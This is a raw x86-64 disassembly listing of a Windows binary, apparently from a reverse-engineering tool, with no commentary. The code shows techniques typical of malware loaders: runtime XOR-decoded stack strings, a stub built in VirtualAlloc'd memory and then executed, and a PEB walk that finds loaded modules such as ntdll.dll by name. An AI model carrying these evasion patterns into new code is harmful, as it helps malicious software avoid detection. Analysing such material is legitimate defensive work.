movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
mov r10d, 1
je 0x140022aa5
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
cmp eax, r10d
jl 0x140022aa5
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r10 + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xeb0], rax
call fcn.140095f90
or dword [rbp + 0xc0c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xad40]
call fcn.14003804c
lea rcx, [rbp + 0xad40]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0xad40]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3f550], rax
add rdi, r13
cmp rdi, 0x200
jl 0x14002298a
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x3f550]
mov rdi, qword [rbp + 0xeb0]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf04], eax
lea r9, [rbp + 0xf04]
mov r8d, r14d
mov edx, r13d
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xfb0]
xor r8d, r8d
lea rdx, [rbp + 0xdc8]
mov rcx, qword [rsp + 0x78]
call rdi
mov edi, eax
lea r9, [rbp + 0xf04]
mov r8d, dword [rbp + 0xf04]
mov edx, r13d
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, qword [rbp + 0xeb0]
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400f1364], r9d
test edi, edi
lea r13d, [r9 + 0x17]
js 0x140022ab9
mov r10d, 1
mov rax, qword [rbp + 0xdc8]
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x1400230c5
mov word [rbp + 0x438], 0x962b
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x43f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x440], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x441], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x442], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x443], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x444], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x445], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x446], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x447], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x448], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x438]
call fcn.1400371f8
mov byte [rbp + 0x449], al
xor eax, eax
mov byte [rbp + 0x44a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x438]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x438]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x439], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140022caf
xor r10d, r10d
mov byte [rbp + 0x44a], r10b
mov word [rbp + 0x888], 0x8a23
lea edi, [r10 + 0x1c]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88a], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88b], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88c], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x65
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88d], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x64
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88e], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, r14b
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x88f], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x890], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x891], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x892], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x51
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x893], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x75
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x894], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x895], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x896], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x897], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r14b
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x898], al
mov r9d, edi
mov r8, r15
mov dl, 0x53
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x899], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89a], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89b], al
mov r9d, edi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89c], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89d], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x75
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89e], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x89f], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x8a0], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x8a1], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x8a2], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x8a3], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x888]
call fcn.1400386f8
mov byte [rbp + 0x8a4], al
xor eax, eax
mov byte [rbp + 0x8a5], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1b]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x888]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1c]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x888]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x889], dil
add r8, rbx
add r9, 0x1c
cmp r9, 0x32c
jb 0x14002302c
mov byte [rbp + 0x8a5], r10b
xor r9d, r9d
lea r8, [rbp + 0x439]
lea rdx, [rbp + 0x889]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
movabs rcx, 0xfc7aeea332188
mov qword [rbp + 0xfc8], rcx
movabs rcx, 0xd9938cff1332a
mov qword [rbp + 0xfd0], rcx
add rax, 0x18
mov qword [rbp + 0xfd8], rax
mov eax, dword [rbp - 0x60]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
mov qword [rbp + 0xeb0], r9
mov r8d, r9d
mov rdi, r9
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xeb0], cl
add rdi, r10
cmp r8d, 8
jb 0x140023115
mov r11d, r9d
mov rax, r9
lea r8, [rbp + 0xfc8]
mov ebx, 1
movabs rsi, 0x8080808080808081
and eax, 7
mov dil, byte [rbp + rax + 0xeb0]
mov r10b, dil
xor r10b, 0x18
mov byte [rbp - 0x48], dil
mov ecx, r9d
lea r9, [rbp + 0xeb0]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xeb0]
mov rax, rsi
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, ebx
add r9, rbx
cmp ecx, 8
jb 0x140023192
movzx ecx, byte [rbp - 0x48]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, ebx
add r8, rbx
movsxd rax, r11d
cmp rax, 0x18
mov r9d, 0
jb 0x140023172
mov eax, dword [rbp - 0x60]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rbp + 0xf40], rax
mov r8d, eax
mov edi, eax
lea ebx, [rax + 0x11]
lea esi, [rax + 0x14]
lea r15d, [r9 + 1]
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf40], cl
add rdi, r15
cmp r8d, 8
jb 0x140023241
xor r14d, r14d
mov r11d, r14d
mov eax, r14d
lea r8, [rbp + 0x28330]
lea r15d, [r14 + 0x10]
lea r13d, [r14 + 1]
and eax, 7
mov dil, byte [rbp + rax + 0xf40]
mov r10b, dil
xor r10b, 5
mov byte [rbp - 0x48], dil
mov ecx, r14d
lea r9, [rbp + 0xf40]
movabs r14, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf40]
mov rax, r14
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r13d
add r9, r13
cmp ecx, 8
jb 0x1400232c4
movzx ecx, byte [rbp - 0x48]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r13d
add r8, r13
movsxd rax, r11d
cmp rax, 0x104
mov r14d, 0
jb 0x14002329a
mov rax, qword [rbp + 0xd70]
mov qword [rbp + 0xeb0], rax
mov word [rbp + 0x690], 0x585d
mov r9, rsi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x692], al
mov r9, rsi
lea r8d, [r14 + 2]
mov dl, 0x57
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x693], al
mov r9, rsi
lea r8d, [r14 + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x694], al
mov r9, rsi
lea r8d, [r14 + 4]
mov dl, 0x69
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x695], al
mov r9, rsi
lea r8d, [r14 + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x696], al
mov r9, rsi
lea r8d, [r14 + 6]
mov dl, 0x65
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x697], al
mov r9, rsi
lea r8d, [r14 + 7]
mov dl, 0x56
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x698], al
mov r9, rsi
lea r8d, [r14 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x699], al
mov r9, rsi
lea r8d, [r14 + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69a], al
mov r9, rsi
lea r8d, [r14 + 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69b], al
mov r9, rsi
lea r8d, [r14 + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69c], al
mov r9, rsi
lea r8d, [r14 + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69d], al
mov r9, rsi
lea r8d, [r14 + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69e], al
mov r9, rsi
lea r8d, [r14 + 0xe]
mov dl, 0x4d
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x69f], al
mov r9, rsi
lea r8d, [r14 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x6a0], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x6a1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x6a2], al
mov r9, rsi
lea r8d, [r14 + 0x12]
mov dl, WSAStartup
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x6a3], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x690]
call fcn.140037880
mov byte [rbp + 0x6a4], al
xor eax, eax
mov byte [rbp + 0x6a5], al
mov r8d, r14d
mov r9, rsi
lea r14d, [r8 + 0x20]
lea r13d, [r8 + 0x17]
lea r10d, [r8 + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x690]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x690]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x691], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x140023580
xor edi, edi
mov byte [rbp + 0x6a5], dil
mov word [rbp + 0x120], 0xfb6f
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x122], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x123], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x124], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x125], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x126], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x127], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x128], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.140037108
mov byte [rbp + 0x129], al
xor eax, eax
mov byte [rbp + 0x12a], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x120]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x120]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x121], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x1400236ff
xor r9d, r9d
mov byte [rbp + 0x12a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140023898
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x38], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140023815
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x1400237e4
mov r15d, reloc.WS2_32.dll_recv
lea r13d, [r15 + 7]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140023871
mov rax, rcx
lea r9, [rbp + 0x121]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002386a
add rax, r11
test edx, edx
jne 0x140023855
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002434b
mov rax, qword [rbp - 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
cmp rax, qword [rsp + 0x78]
jne 0x14002379b
mov dword [rbp - 0x60], r9d
mov rax, qword [rbp + 0xd70]
mov qword [rbp + 0xeb0], rax
mov word [rbp + 0x630], 0xe68
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x632], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x633], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x634], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x635], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x636], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x637], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x638], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x639], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x63f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x640], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x641], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x642], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x643], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x630]
call fcn.140037880
mov byte [rbp + 0x644], al
xor eax, eax
mov byte [rbp + 0x645], al
mov r8d, eax
mov r9, rsi
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x630]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x630]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x631], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x140023aed
xor edi, edi
mov byte [rbp + 0x645], dil
mov word [rbp + 0x150], 0xbc48
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x152], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x153], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x154], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x155], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x156], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x157], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x158], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140037108
mov byte [rbp + 0x159], al
xor eax, eax
mov byte [rbp + 0x15a], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x150]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x150]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x151], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140023c6c
xor edi, edi
mov byte [rbp + 0x15a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140023dff
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x38], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
